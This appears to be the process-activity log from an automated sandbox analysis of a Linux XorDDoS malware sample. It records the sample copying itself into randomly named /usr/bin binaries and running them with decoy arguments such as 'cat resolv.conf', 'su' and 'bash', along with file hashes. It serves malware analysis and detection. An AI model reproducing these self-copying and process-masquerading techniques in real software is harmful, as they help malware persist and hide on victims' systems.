Arguments:	n/a
File size:	625911 bytes
MD5 hash:	4b35d88168505669df2e8ba08379e487

Chronological Activities

Analysis Process: 0Xorddos.o PID: 5412, Parent PID: 5222

General

Start time:	21:22:20
Start date:	14/03/2022
Path:	/tmp/0Xorddos.o
Arguments:	n/a
File size:	625900 bytes
MD5 hash:	da818861f56900f552eb04c5e7d8c59d

Chronological Activities

Analysis Process: 0Xorddos.o PID: 5413, Parent PID: 5412

General

Start time:	21:22:20
Start date:	14/03/2022
Path:	/tmp/0Xorddos.o
Arguments:	n/a
File size:	625900 bytes
MD5 hash:	da818861f56900f552eb04c5e7d8c59d

Chronological Activities

Analysis Process: aoyymackpm PID: 5413, Parent PID: 5412

General

Start time:	21:22:20
Start date:	14/03/2022
Path:	/usr/bin/aoyymackpm
Arguments:	/usr/bin/aoyymackpm "cat resolv.conf" 5222
File size:	625911 bytes
MD5 hash:	4b35d88168505669df2e8ba08379e487

Chronological Activities

Analysis Process: aoyymackpm PID: 5415, Parent PID: 5413

General

Start time:	21:22:21
Start date:	14/03/2022
Path:	/usr/bin/aoyymackpm
Arguments:	n/a
File size:	625911 bytes
MD5 hash:	4b35d88168505669df2e8ba08379e487

Chronological Activities

Analysis Process: 0Xorddos.o PID: 5418, Parent PID: 5222

General

Start time:	21:22:26
Start date:	14/03/2022
Path:	/tmp/0Xorddos.o
Arguments:	n/a
File size:	625900 bytes
MD5 hash:	da818861f56900f552eb04c5e7d8c59d

Chronological Activities

Analysis Process: 0Xorddos.o PID: 5419, Parent PID: 5418

General

Start time:	21:22:26
Start date:	14/03/2022
Path:	/tmp/0Xorddos.o
Arguments:	n/a
File size:	625900 bytes
MD5 hash:	da818861f56900f552eb04c5e7d8c59d

Chronological Activities

Analysis Process: gbsknxiwip PID: 5419, Parent PID: 5418

General

Start time:	21:22:26
Start date:	14/03/2022
Path:	/usr/bin/gbsknxiwip
Arguments:	/usr/bin/gbsknxiwip gnome-terminal 5222
File size:	625911 bytes
MD5 hash:	332829866022c2218579e44d63c2dae3

Chronological Activities

Analysis Process: gbsknxiwip PID: 5420, Parent PID: 5419

General

Start time:	21:22:27
Start date:	14/03/2022
Path:	/usr/bin/gbsknxiwip
Arguments:	n/a
File size:	625911 bytes
MD5 hash:	332829866022c2218579e44d63c2dae3

Chronological Activities

Analysis Process: 0Xorddos.o PID: 5421, Parent PID: 5222

General

Start time:	21:22:27
Start date:	14/03/2022
Path:	/tmp/0Xorddos.o
Arguments:	n/a
File size:	625900 bytes
MD5 hash:	da818861f56900f552eb04c5e7d8c59d

Chronological Activities

Analysis Process: 0Xorddos.o PID: 5422, Parent PID: 5421

General

Start time:	21:22:27
Start date:	14/03/2022
Path:	/tmp/0Xorddos.o
Arguments:	n/a
File size:	625900 bytes
MD5 hash:	da818861f56900f552eb04c5e7d8c59d

Chronological Activities

Analysis Process: gbsknxiwip PID: 5422, Parent PID: 5421

General

Start time:	21:22:27
Start date:	14/03/2022
Path:	/usr/bin/gbsknxiwip
Arguments:	/usr/bin/gbsknxiwip "sleep 1" 5222
File size:	625911 bytes
MD5 hash:	332829866022c2218579e44d63c2dae3

Chronological Activities

Analysis Process: gbsknxiwip PID: 5425, Parent PID: 5422

General

Start time:	21:22:27
Start date:	14/03/2022
Path:	/usr/bin/gbsknxiwip
Arguments:	n/a
File size:	625911 bytes
MD5 hash:	332829866022c2218579e44d63c2dae3

Chronological Activities

Analysis Process: 0Xorddos.o PID: 5423, Parent PID: 5222

General

Start time:	21:22:27
Start date:	14/03/2022
Path:	/tmp/0Xorddos.o
Arguments:	n/a
File size:	625900 bytes
MD5 hash:	da818861f56900f552eb04c5e7d8c59d

Chronological Activities

Analysis Process: 0Xorddos.o PID: 5424, Parent PID: 5423

General

Start time:	21:22:27
Start date:	14/03/2022
Path:	/tmp/0Xorddos.o
Arguments:	n/a
File size:	625900 bytes
MD5 hash:	da818861f56900f552eb04c5e7d8c59d

Chronological Activities

Analysis Process: gbsknxiwip PID: 5424, Parent PID: 5423

General

Start time:	21:22:27
Start date:	14/03/2022
Path:	/usr/bin/gbsknxiwip
Arguments:	/usr/bin/gbsknxiwip "netstat -antop" 5222
File size:	625911 bytes
MD5 hash:	332829866022c2218579e44d63c2dae3

Chronological Activities

Analysis Process: gbsknxiwip PID: 5430, Parent PID: 5424

General

Start time:	21:22:27
Start date:	14/03/2022
Path:	/usr/bin/gbsknxiwip
Arguments:	n/a
File size:	625911 bytes
MD5 hash:	332829866022c2218579e44d63c2dae3

Chronological Activities

Analysis Process: 0Xorddos.o PID: 5426, Parent PID: 5222

General

Start time:	21:22:27
Start date:	14/03/2022
Path:	/tmp/0Xorddos.o
Arguments:	n/a
File size:	625900 bytes
MD5 hash:	da818861f56900f552eb04c5e7d8c59d

Chronological Activities

Analysis Process: 0Xorddos.o PID: 5427, Parent PID: 5426

General

Start time:	21:22:27
Start date:	14/03/2022
Path:	/tmp/0Xorddos.o
Arguments:	n/a
File size:	625900 bytes
MD5 hash:	da818861f56900f552eb04c5e7d8c59d

Chronological Activities

Analysis Process: gbsknxiwip PID: 5427, Parent PID: 5426

General

Start time:	21:22:27
Start date:	14/03/2022
Path:	/usr/bin/gbsknxiwip
Arguments:	/usr/bin/gbsknxiwip who 5222
File size:	625911 bytes
MD5 hash:	332829866022c2218579e44d63c2dae3

Chronological Activities

Analysis Process: gbsknxiwip PID: 5431, Parent PID: 5427

General

Start time:	21:22:27
Start date:	14/03/2022
Path:	/usr/bin/gbsknxiwip
Arguments:	n/a
File size:	625911 bytes
MD5 hash:	332829866022c2218579e44d63c2dae3

Chronological Activities

Analysis Process: 0Xorddos.o PID: 5428, Parent PID: 5222

General

Start time:	21:22:27
Start date:	14/03/2022
Path:	/tmp/0Xorddos.o
Arguments:	n/a
File size:	625900 bytes
MD5 hash:	da818861f56900f552eb04c5e7d8c59d

Chronological Activities

Analysis Process: 0Xorddos.o PID: 5429, Parent PID: 5428

General

Start time:	21:22:27
Start date:	14/03/2022
Path:	/tmp/0Xorddos.o
Arguments:	n/a
File size:	625900 bytes
MD5 hash:	da818861f56900f552eb04c5e7d8c59d

Chronological Activities

Analysis Process: gbsknxiwip PID: 5429, Parent PID: 5428

General

Start time:	21:22:27
Start date:	14/03/2022
Path:	/usr/bin/gbsknxiwip
Arguments:	/usr/bin/gbsknxiwip "cat resolv.conf" 5222
File size:	625911 bytes
MD5 hash:	332829866022c2218579e44d63c2dae3

Chronological Activities

Analysis Process: gbsknxiwip PID: 5432, Parent PID: 5429

General

Start time:	21:22:27
Start date:	14/03/2022
Path:	/usr/bin/gbsknxiwip
Arguments:	n/a
File size:	625911 bytes
MD5 hash:	332829866022c2218579e44d63c2dae3

Chronological Activities

Analysis Process: 0Xorddos.o PID: 5435, Parent PID: 5222

General

Start time:	21:22:33
Start date:	14/03/2022
Path:	/tmp/0Xorddos.o
Arguments:	n/a
File size:	625900 bytes
MD5 hash:	da818861f56900f552eb04c5e7d8c59d

Chronological Activities

Analysis Process: 0Xorddos.o PID: 5436, Parent PID: 5435

General

Start time:	21:22:33
Start date:	14/03/2022
Path:	/tmp/0Xorddos.o
Arguments:	n/a
File size:	625900 bytes
MD5 hash:	da818861f56900f552eb04c5e7d8c59d

Chronological Activities

Analysis Process: gpcmhoiszu PID: 5436, Parent PID: 5435

General

Start time:	21:22:33
Start date:	14/03/2022
Path:	/usr/bin/gpcmhoiszu
Arguments:	/usr/bin/gpcmhoiszu su 5222
File size:	625911 bytes
MD5 hash:	2398b188e4ccdfa7852549d00ece9eb7

Chronological Activities

Analysis Process: gpcmhoiszu PID: 5437, Parent PID: 5436

General

Start time:	21:22:33
Start date:	14/03/2022
Path:	/usr/bin/gpcmhoiszu
Arguments:	n/a
File size:	625911 bytes
MD5 hash:	2398b188e4ccdfa7852549d00ece9eb7

Chronological Activities

Analysis Process: 0Xorddos.o PID: 5438, Parent PID: 5222

General

Start time:	21:22:33
Start date:	14/03/2022
Path:	/tmp/0Xorddos.o
Arguments:	n/a
File size:	625900 bytes
MD5 hash:	da818861f56900f552eb04c5e7d8c59d

Chronological Activities

Analysis Process: 0Xorddos.o PID: 5439, Parent PID: 5438

General

Start time:	21:22:33
Start date:	14/03/2022
Path:	/tmp/0Xorddos.o
Arguments:	n/a
File size:	625900 bytes
MD5 hash:	da818861f56900f552eb04c5e7d8c59d

Chronological Activities

Analysis Process: gpcmhoiszu PID: 5439, Parent PID: 5438

General

Start time:	21:22:33
Start date:	14/03/2022
Path:	/usr/bin/gpcmhoiszu
Arguments:	/usr/bin/gpcmhoiszu bash 5222
File size:	625911 bytes
MD5 hash:	2398b188e4ccdfa7852549d00ece9eb7

Chronological Activities

Analysis Process: gpcmhoiszu PID: 5440, Parent PID: 5439

General

Start time:	21:22:33
Start date:	14/03/2022
Path:	/usr/bin/gpcmhoiszu
Arguments:	n/a
File size:	625911 bytes
MD5 hash:	2398b188e4ccdfa7852549d00ece9eb7

Chronological Activities

Analysis Process: 0Xorddos.o PID: 5441, Parent PID: 5222

General

Start time:	21:22:33
Start date:	14/03/2022
Path:	/tmp/0Xorddos.o
Arguments:	n/a
File size:	625900 bytes
MD5 hash:	da818861f56900f552eb04c5e7d8c59d

Chronological Activities

Analysis Process: 0Xorddos.o PID: 5442, Parent PID: 5441

General

Start time:	21:22:33
Start date:	14/03/2022
Path:	/tmp/0Xorddos.o
Arguments:	n/a
File size:	625900 bytes
MD5 hash:	da818861f56900f552eb04c5e7d8c59d

Chronological Activities

Analysis Process: gpcmhoiszu PID: 5442, Parent PID: 5441

General

Start time:	21:22:33
Start date:	14/03/2022
Path:	/usr/bin/gpcmhoiszu
Arguments:	/usr/bin/gpcmhoiszu ifconfig 5222
File size:	625911 bytes
MD5 hash:	2398b188e4ccdfa7852549d00ece9eb7

Chronological Activities

Analysis Process: gpcmhoiszu PID: 5443, Parent PID: 5442

General

Start time:	21:22:33
Start date:	14/03/2022
Path:	/usr/bin/gpcmhoiszu
Arguments:	n/a
File size:	625911 bytes
MD5 hash:	2398b188e4ccdfa7852549d00ece9eb7

Chronological Activities

Analysis Process: 0Xorddos.o PID: 5444, Parent PID: 5222

General

Start time:	21:22:33
Start date:	14/03/2022
Path:	/tmp/0Xorddos.o
Arguments:	n/a
File size:	625900 bytes
MD5 hash:	da818861f56900f552eb04c5e7d8c59d

Chronological Activities

Analysis Process: 0Xorddos.o PID: 5445, Parent PID: 5444

General

Start time:	21:22:33
Start date:	14/03/2022
Path:	/tmp/0Xorddos.o
Arguments:	n/a
File size:	625900 bytes
MD5 hash:	da818861f56900f552eb04c5e7d8c59d

Chronological Activities

Analysis Process: gpcmhoiszu PID: 5445, Parent PID: 5444

General

Start time:	21:22:33
Start date:	14/03/2022
Path:	/usr/bin/gpcmhoiszu
Arguments:	/usr/bin/gpcmhoiszu su 5222
File size:	625911 bytes
MD5 hash:	2398b188e4ccdfa7852549d00ece9eb7

Chronological Activities

Analysis Process: gpcmhoiszu PID: 5448, Parent PID: 5445

General

Start time:	21:22:33
Start date:	14/03/2022
Path:	/usr/bin/gpcmhoiszu
Arguments:	n/a
File size:	625911 bytes
MD5 hash:	2398b188e4ccdfa7852549d00ece9eb7

Chronological Activities

Analysis Process: 0Xorddos.o PID: 5446, Parent PID: 5222

General

Start time:	21:22:33
Start date:	14/03/2022
Path:	/tmp/0Xorddos.o
Arguments:	n/a
File size:	625900 bytes
MD5 hash:	da818861f56900f552eb04c5e7d8c59d

Chronological Activities

Analysis Process: 0Xorddos.o PID: 5447, Parent PID: 5446

General

Start time:	21:22:33
Start date:	14/03/2022
Path:	/tmp/0Xorddos.o
Arguments:	n/a
File size:	625900 bytes
MD5 hash:	da818861f56900f552eb04c5e7d8c59d

Chronological Activities

Analysis Process: gpcmhoiszu PID: 5447, Parent PID: 5446

General

Start time:	21:22:33
Start date:	14/03/2022
Path:	/usr/bin/gpcmhoiszu
Arguments:	/usr/bin/gpcmhoiszu whoami 5222
File size:	625911 bytes
MD5 hash:	2398b188e4ccdfa7852549d00ece9eb7

Chronological Activities

Analysis Process: gpcmhoiszu PID: 5451, Parent PID: 5447

General

Start time:	21:22:34
Start date:	14/03/2022
Path:	/usr/bin/gpcmhoiszu
Arguments:	n/a
File size:	625911 bytes
MD5 hash:	2398b188e4ccdfa7852549d00ece9eb7

Chronological Activities

Analysis Process: 0Xorddos.o PID: 5455, Parent PID: 5222

General

Start time:	21:22:39
Start date:	14/03/2022
Path:	/tmp/0Xorddos.o
Arguments:	n/a
File size:	625900 bytes
MD5 hash:	da818861f56900f552eb04c5e7d8c59d

Chronological Activities

Analysis Process: 0Xorddos.o PID: 5456, Parent PID: 5455

General

Start time:	21:22:39
Start date:	14/03/2022
Path:	/tmp/0Xorddos.o
Arguments:	n/a
File size:	625900 bytes
MD5 hash:	da818861f56900f552eb04c5e7d8c59d

Chronological Activities

Analysis Process: qizbpqmtbi PID: 5456, Parent PID: 5455

General

Start time:	21:22:39
Start date:	14/03/2022
Path:	/usr/bin/qizbpqmtbi
Arguments:	/usr/bin/qizbpqmtbi uptime 5222
File size:	625911 bytes
MD5 hash:	a1b79114b59e6fc4cb28e756f2425224

Chronological Activities

Analysis Process: qizbpqmtbi PID: 5457, Parent PID: 5456

General

Start time:	21:22:40
Start date:	14/03/2022
Path:	/usr/bin/qizbpqmtbi
Arguments:	n/a
File size:	625911 bytes
MD5 hash:	a1b79114b59e6fc4cb28e756f2425224

Chronological Activities

Analysis Process: 0Xorddos.o PID: 5458, Parent PID: 5222

General

Start time:	21:22:40
Start date:	14/03/2022
Path:	/tmp/0Xorddos.o
Arguments:	n/a
File size:	625900 bytes
MD5 hash:	da818861f56900f552eb04c5e7d8c59d

Chronological Activities

Analysis Process: 0Xorddos.o PID: 5459, Parent PID: 5458

General

Start time:	21:22:40
Start date:	14/03/2022
Path:	/tmp/0Xorddos.o
Arguments:	n/a
File size:	625900 bytes
MD5 hash:	da818861f56900f552eb04c5e7d8c59d

Chronological Activities

Analysis Process: qizbpqmtbi PID: 5459, Parent PID: 5458

General

Start time:	21:22:40
Start date:	14/03/2022
Path:	/usr/bin/qizbpqmtbi
Arguments:	/usr/bin/qizbpqmtbi "cat resolv.conf" 5222
File size:	625911 bytes
MD5 hash:	a1b79114b59e6fc4cb28e756f2425224

Chronological Activities

Analysis Process: qizbpqmtbi PID: 5462, Parent PID: 5459

General

Start time:	21:22:40
Start date:	14/03/2022
Path:	/usr/bin/qizbpqmtbi
Arguments:	n/a
File size:	625911 bytes
MD5 hash:	a1b79114b59e6fc4cb28e756f2425224

Chronological Activities

Analysis Process: 0Xorddos.o PID: 5460, Parent PID: 5222

General

Start time:	21:22:40
Start date:	14/03/2022
Path:	/tmp/0Xorddos.o
Arguments:	n/a
File size:	625900 bytes
MD5 hash:	da818861f56900f552eb04c5e7d8c59d

Chronological Activities

Analysis Process: 0Xorddos.o PID: 5461, Parent PID: 5460

General

Start time:	21:22:40
Start date:	14/03/2022
Path:	/tmp/0Xorddos.o
Arguments:	n/a
File size:	625900 bytes
MD5 hash:	da818861f56900f552eb04c5e7d8c59d

Chronological Activities

Analysis Process: qizbpqmtbi PID: 5461, Parent PID: 5460

General

Start time:	21:22:40
Start date:	14/03/2022
Path:	/usr/bin/qizbpqmtbi
Arguments:	/usr/bin/qizbpqmtbi ifconfig 5222
File size:	625911 bytes
MD5 hash:	a1b79114b59e6fc4cb28e756f2425224

Chronological Activities

Analysis Process: qizbpqmtbi PID: 5465, Parent PID: 5461

General

Start time:	21:22:41
Start date:	14/03/2022
Path:	/usr/bin/qizbpqmtbi
Arguments:	n/a
File size:	625911 bytes
MD5 hash:	a1b79114b59e6fc4cb28e756f2425224

Chronological Activities

Analysis Process: 0Xorddos.o PID: 5463, Parent PID: 5222

General

Start time:	21:22:41
Start date:	14/03/2022
Path:	/tmp/0Xorddos.o
Arguments:	n/a
File size:	625900 bytes
MD5 hash:	da818861f56900f552eb04c5e7d8c59d

Chronological Activities

Analysis Process: 0Xorddos.o PID: 5464, Parent PID: 5463

General

Start time:	21:22:41
Start date:	14/03/2022
Path:	/tmp/0Xorddos.o
Arguments:	n/a
File size:	625900 bytes
MD5 hash:	da818861f56900f552eb04c5e7d8c59d

Chronological Activities

Analysis Process: qizbpqmtbi PID: 5464, Parent PID: 5463

General

Start time:	21:22:41
Start date:	14/03/2022
Path:	/usr/bin/qizbpqmtbi
Arguments:	/usr/bin/qizbpqmtbi "ls -la" 5222
File size:	625911 bytes
MD5 hash:	a1b79114b59e6fc4cb28e756f2425224

Chronological Activities

Analysis Process: qizbpqmtbi PID: 5468, Parent PID: 5464

General

Start time:	21:22:41
Start date:	14/03/2022
Path:	/usr/bin/qizbpqmtbi
Arguments:	n/a
File size:	625911 bytes
MD5 hash:	a1b79114b59e6fc4cb28e756f2425224

Chronological Activities

Analysis Process: 0Xorddos.o PID: 5466, Parent PID: 5222

General

Start time:	21:22:41
Start date:	14/03/2022
Path:	/tmp/0Xorddos.o
Arguments:	n/a
File size:	625900 bytes
MD5 hash:	da818861f56900f552eb04c5e7d8c59d

Chronological Activities

Analysis Process: 0Xorddos.o PID: 5467, Parent PID: 5466

General

Start time:	21:22:41
Start date:	14/03/2022
Path:	/tmp/0Xorddos.o
Arguments:	n/a
File size:	625900 bytes
MD5 hash:	da818861f56900f552eb04c5e7d8c59d

Chronological Activities

Analysis Process: qizbpqmtbi PID: 5467, Parent PID: 5466

General

Start time:	21:22:41
Start date:	14/03/2022
Path:	/usr/bin/qizbpqmtbi
Arguments:	/usr/bin/qizbpqmtbi "cat resolv.conf" 5222
File size:	625911 bytes
MD5 hash:	a1b79114b59e6fc4cb28e756f2425224

Chronological Activities

Analysis Process: qizbpqmtbi PID: 5469, Parent PID: 5467

General

Start time:	21:22:41
Start date:	14/03/2022
Path:	/usr/bin/qizbpqmtbi
Arguments:	n/a
File size:	625911 bytes
MD5 hash:	a1b79114b59e6fc4cb28e756f2425224

Chronological Activities

Analysis Process: 0Xorddos.o PID: 5472, Parent PID: 5222

General

Start time:	21:22:47
Start date:	14/03/2022
Path:	/tmp/0Xorddos.o
Arguments:	n/a
File size:	625900 bytes
MD5 hash:	da818861f56900f552eb04c5e7d8c59d

Chronological Activities

Analysis Process: 0Xorddos.o PID: 5473, Parent PID: 5472

General

Start time:	21:22:47
Start date:	14/03/2022
Path:	/tmp/0Xorddos.o
Arguments:	n/a
File size:	625900 bytes
MD5 hash:	da818861f56900f552eb04c5e7d8c59d

Chronological Activities

Analysis Process: cvvhpkxdyk PID: 5473, Parent PID: 5472

General

Start time:	21:22:47
Start date:	14/03/2022
Path:	/usr/bin/cvvhpkxdyk
Arguments:	/usr/bin/cvvhpkxdyk su 5222
File size:	625911 bytes
MD5 hash:	de6e16b421b0aeff8b86522f8c8a2ef7

Chronological Activities

Analysis Process: cvvhpkxdyk PID: 5474, Parent PID: 5473

General

Start time:	21:22:47
Start date:	14/03/2022
Path:	/usr/bin/cvvhpkxdyk
Arguments:	n/a
File size:	625911 bytes
MD5 hash:	de6e16b421b0aeff8b86522f8c8a2ef7

Chronological Activities

Analysis Process: 0Xorddos.o PID: 5475, Parent PID: 5222

General

Start time:	21:22:47
Start date:	14/03/2022
Path:	/tmp/0Xorddos.o
Arguments:	n/a
File size:	625900 bytes
MD5 hash:	da818861f56900f552eb04c5e7d8c59d

Chronological Activities

Analysis Process: 0Xorddos.o PID: 5476, Parent PID: 5475

General

Start time:	21:22:47
Start date:	14/03/2022
Path:	/tmp/0Xorddos.o
Arguments:	n/a
File size:	625900 bytes
MD5 hash:	da818861f56900f552eb04c5e7d8c59d

Chronological Activities

Analysis Process: cvvhpkxdyk PID: 5476, Parent PID: 5475

General

Start time:	21:22:47
Start date:	14/03/2022
Path:	/usr/bin/cvvhpkxdyk
Arguments:	/usr/bin/cvvhpkxdyk whoami 5222
File size:	625911 bytes
MD5 hash:	de6e16b421b0aeff8b86522f8c8a2ef7

Chronological Activities

Analysis Process: cvvhpkxdyk PID: 5477, Parent PID: 5476

General

Start time:	21:22:47
Start date:	14/03/2022
Path:	/usr/bin/cvvhpkxdyk
Arguments:	n/a
File size:	625911 bytes
MD5 hash:	de6e16b421b0aeff8b86522f8c8a2ef7

Chronological Activities

Analysis Process: 0Xorddos.o PID: 5478, Parent PID: 5222

General

Start time:	21:22:47
Start date:	14/03/2022
Path:	/tmp/0Xorddos.o
Arguments:	n/a
File size:	625900 bytes
MD5 hash:	da818861f56900f552eb04c5e7d8c59d

Chronological Activities

Analysis Process: 0Xorddos.o PID: 5479, Parent PID: 5478

General

Start time:	21:22:47
Start date:	14/03/2022
Path:	/tmp/0Xorddos.o
Arguments:	n/a
File size:	625900 bytes
MD5 hash:	da818861f56900f552eb04c5e7d8c59d

Chronological Activities

Analysis Process: cvvhpkxdyk PID: 5479, Parent PID: 5478

General

Start time:	21:22:47
Start date:	14/03/2022
Path:	/usr/bin/cvvhpkxdyk
Arguments:	/usr/bin/cvvhpkxdyk bash 5222
File size:	625911 bytes
MD5 hash:	de6e16b421b0aeff8b86522f8c8a2ef7

Chronological Activities

Analysis Process: cvvhpkxdyk PID: 5483, Parent PID: 5479

General

Start time:	21:22:47
Start date:	14/03/2022
Path:	/usr/bin/cvvhpkxdyk
Arguments:	n/a
File size:	625911 bytes
MD5 hash:	de6e16b421b0aeff8b86522f8c8a2ef7

Chronological Activities

Analysis Process: 0Xorddos.o PID: 5480, Parent PID: 5222

General

Start time:	21:22:47
Start date:	14/03/2022
Path:	/tmp/0Xorddos.o
Arguments:	n/a
File size:	625900 bytes
MD5 hash:	da818861f56900f552eb04c5e7d8c59d

Chronological Activities

Analysis Process: 0Xorddos.o PID: 5481, Parent PID: 5480

General

Start time:	21:22:47
Start date:	14/03/2022
Path:	/tmp/0Xorddos.o
Arguments:	n/a
File size:	625900 bytes
MD5 hash:	da818861f56900f552eb04c5e7d8c59d

Chronological Activities

Analysis Process: cvvhpkxdyk PID: 5481, Parent PID: 5480

General

Start time:	21:22:47
Start date:	14/03/2022
Path:	/usr/bin/cvvhpkxdyk
Arguments:	/usr/bin/cvvhpkxdyk id 5222
File size:	625911 bytes
MD5 hash:	de6e16b421b0aeff8b86522f8c8a2ef7

Chronological Activities

Analysis Process: cvvhpkxdyk PID: 5485, Parent PID: 5481

General

Start time:	21:22:48
Start date:	14/03/2022
Path:	/usr/bin/cvvhpkxdyk
Arguments:	n/a
File size:	625911 bytes
MD5 hash:	de6e16b421b0aeff8b86522f8c8a2ef7

Chronological Activities

Analysis Process: 0Xorddos.o PID: 5482, Parent PID: 5222

General

Start time:	21:22:47
Start date:	14/03/2022
Path:	/tmp/0Xorddos.o
Arguments:	n/a
File size:	625900 bytes
MD5 hash:	da818861f56900f552eb04c5e7d8c59d

Chronological Activities

Analysis Process: 0Xorddos.o PID: 5484, Parent PID: 5482

General

Start time:	21:22:48
Start date:	14/03/2022
Path:	/tmp/0Xorddos.o
Arguments:	n/a
File size:	625900 bytes
MD5 hash:	da818861f56900f552eb04c5e7d8c59d

Chronological Activities

Analysis Process: cvvhpkxdyk PID: 5484, Parent PID: 5482

General

Start time:	21:22:48
Start date:	14/03/2022
Path:	/usr/bin/cvvhpkxdyk
Arguments:	/usr/bin/cvvhpkxdyk ifconfig 5222
File size:	625911 bytes
MD5 hash:	de6e16b421b0aeff8b86522f8c8a2ef7

Chronological Activities

Analysis Process: cvvhpkxdyk PID: 5486, Parent PID: 5484

General

Start time:	21:22:48
Start date:	14/03/2022
Path:	/usr/bin/cvvhpkxdyk
Arguments:	n/a
File size:	625911 bytes
MD5 hash:	de6e16b421b0aeff8b86522f8c8a2ef7

Chronological Activities

Analysis Process: 0Xorddos.o PID: 5489, Parent PID: 5222

General

Start time:	21:22:53
Start date:	14/03/2022
Path:	/tmp/0Xorddos.o
Arguments:	n/a
File size:	625900 bytes
MD5 hash:	da818861f56900f552eb04c5e7d8c59d

Chronological Activities

Analysis Process: 0Xorddos.o PID: 5490, Parent PID: 5489

General

Start time:	21:22:53
Start date:	14/03/2022
Path:	/tmp/0Xorddos.o
Arguments:	n/a
File size:	625900 bytes
MD5 hash:	da818861f56900f552eb04c5e7d8c59d

Chronological Activities

Analysis Process: oscovqjuil PID: 5490, Parent PID: 5489

General

Start time:	21:22:53
Start date:	14/03/2022
Path:	/usr/bin/oscovqjuil
Arguments:	/usr/bin/oscovqjuil "netstat -an" 5222
File size:	625911 bytes
MD5 hash:	9c0655b6b1c4ddae6f4f1c2598424c40

Chronological Activities

Analysis Process: oscovqjuil PID: 5491, Parent PID: 5490

General

Start time:	21:22:53
Start date:	14/03/2022
Path:	/usr/bin/oscovqjuil
Arguments:	n/a
File size:	625911 bytes
MD5 hash:	9c0655b6b1c4ddae6f4f1c2598424c40

Chronological Activities

Analysis Process: 0Xorddos.o PID: 5492, Parent PID: 5222

General

Start time:	21:22:53
Start date:	14/03/2022
Path:	/tmp/0Xorddos.o
Arguments:	n/a
File size:	625900 bytes
MD5 hash:	da818861f56900f552eb04c5e7d8c59d

Chronological Activities

Analysis Process: 0Xorddos.o PID: 5493, Parent PID: 5492

General

Start time:	21:22:53
Start date:	14/03/2022
Path:	/tmp/0Xorddos.o
Arguments:	n/a
File size:	625900 bytes
MD5 hash:	da818861f56900f552eb04c5e7d8c59d

Chronological Activities

Analysis Process: oscovqjuil PID: 5493, Parent PID: 5492

General

Start time:	21:22:53
Start date:	14/03/2022
Path:	/usr/bin/oscovqjuil
Arguments:	/usr/bin/oscovqjuil ls 5222
File size:	625911 bytes
MD5 hash:	9c0655b6b1c4ddae6f4f1c2598424c40

Chronological Activities

Analysis Process: oscovqjuil PID: 5494, Parent PID: 5493

General

Start time:	21:22:53
Start date:	14/03/2022
Path:	/usr/bin/oscovqjuil
Arguments:	n/a
File size:	625911 bytes
MD5 hash:	9c0655b6b1c4ddae6f4f1c2598424c40

Chronological Activities

Analysis Process: 0Xorddos.o PID: 5495, Parent PID: 5222

General

Start time:	21:22:53
Start date:	14/03/2022
Path:	/tmp/0Xorddos.o
Arguments:	n/a
File size:	625900 bytes
MD5 hash:	da818861f56900f552eb04c5e7d8c59d

Chronological Activities

Analysis Process: 0Xorddos.o PID: 5496, Parent PID: 5495

General

Start time:	21:22:53
Start date:	14/03/2022
Path:	/tmp/0Xorddos.o
Arguments:	n/a
File size:	625900 bytes
MD5 hash:	da818861f56900f552eb04c5e7d8c59d

Chronological Activities

Analysis Process: oscovqjuil PID: 5496, Parent PID: 5495

General

Start time:	21:22:53
Start date:	14/03/2022
Path:	/usr/bin/oscovqjuil
Arguments:	/usr/bin/oscovqjuil whoami 5222
File size:	625911 bytes
MD5 hash:	9c0655b6b1c4ddae6f4f1c2598424c40

Chronological Activities

Analysis Process: oscovqjuil PID: 5497, Parent PID: 5496

General

Start time:	21:22:53
Start date:	14/03/2022
Path:	/usr/bin/oscovqjuil
Arguments:	n/a
File size:	625911 bytes
MD5 hash:	9c0655b6b1c4ddae6f4f1c2598424c40

Chronological Activities

Analysis Process: 0Xorddos.o PID: 5498, Parent PID: 5222

General

Start time:	21:22:53
Start date:	14/03/2022
Path:	/tmp/0Xorddos.o
Arguments:	n/a
File size:	625900 bytes
MD5 hash:	da818861f56900f552eb04c5e7d8c59d

Chronological Activities

Analysis Process: 0Xorddos.o PID: 5499, Parent PID: 5498

General

Start time:	21:22:53
Start date:	14/03/2022
Path:	/tmp/0Xorddos.o
Arguments:	n/a
File size:	625900 bytes
MD5 hash:	da818861f56900f552eb04c5e7d8c59d

Chronological Activities

Analysis Process: oscovqjuil PID: 5499, Parent PID: 5498

General

Start time:	21:22:53
Start date:	14/03/2022
Path:	/usr/bin/oscovqjuil
Arguments:	/usr/bin/oscovqjuil gnome-terminal 5222
File size:	625911 bytes
MD5 hash:	9c0655b6b1c4ddae6f4f1c2598424c40

Chronological Activities

Analysis Process: oscovqjuil PID: 5503, Parent PID: 5499

General

Start time:	21:22:53
Start date:	14/03/2022
Path:	/usr/bin/oscovqjuil
Arguments:	n/a
File size:	625911 bytes
MD5 hash:	9c0655b6b1c4ddae6f4f1c2598424c40

Chronological Activities

Analysis Process: 0Xorddos.o PID: 5502, Parent PID: 5222

General

Start time:	21:22:53
Start date:	14/03/2022
Path:	/tmp/0Xorddos.o
Arguments:	n/a
File size:	625900 bytes
MD5 hash:	da818861f56900f552eb04c5e7d8c59d

Chronological Activities

Analysis Process: 0Xorddos.o PID: 5504, Parent PID: 5502

General

Start time:	21:22:53
Start date:	14/03/2022
Path:	/tmp/0Xorddos.o
Arguments:	n/a
File size:	625900 bytes
MD5 hash:	da818861f56900f552eb04c5e7d8c59d

Chronological Activities

Analysis Process: oscovqjuil PID: 5504, Parent PID: 5502

General

Start time:	21:22:53
Start date:	14/03/2022
Path:	/usr/bin/oscovqjuil
Arguments:	/usr/bin/oscovqjuil "echo \"find\"" 5222
File size:	625911 bytes
MD5 hash:	9c0655b6b1c4ddae6f4f1c2598424c40

Chronological Activities

Analysis Process: oscovqjuil PID: 5505, Parent PID: 5504

General

Start time:	21:22:54
Start date:	14/03/2022
Path:	/usr/bin/oscovqjuil
Arguments:	n/a
File size:	625911 bytes
MD5 hash:	9c0655b6b1c4ddae6f4f1c2598424c40

Chronological Activities

Analysis Process: 0Xorddos.o PID: 5509, Parent PID: 5222

General

Start time:	21:22:59
Start date:	14/03/2022
Path:	/tmp/0Xorddos.o
Arguments:	n/a
File size:	625900 bytes
MD5 hash:	da818861f56900f552eb04c5e7d8c59d

Chronological Activities

Analysis Process: 0Xorddos.o PID: 5510, Parent PID: 5509

General

Start time:	21:22:59
Start date:	14/03/2022
Path:	/tmp/0Xorddos.o
Arguments:	n/a
File size:	625900 bytes
MD5 hash:	da818861f56900f552eb04c5e7d8c59d

Chronological Activities

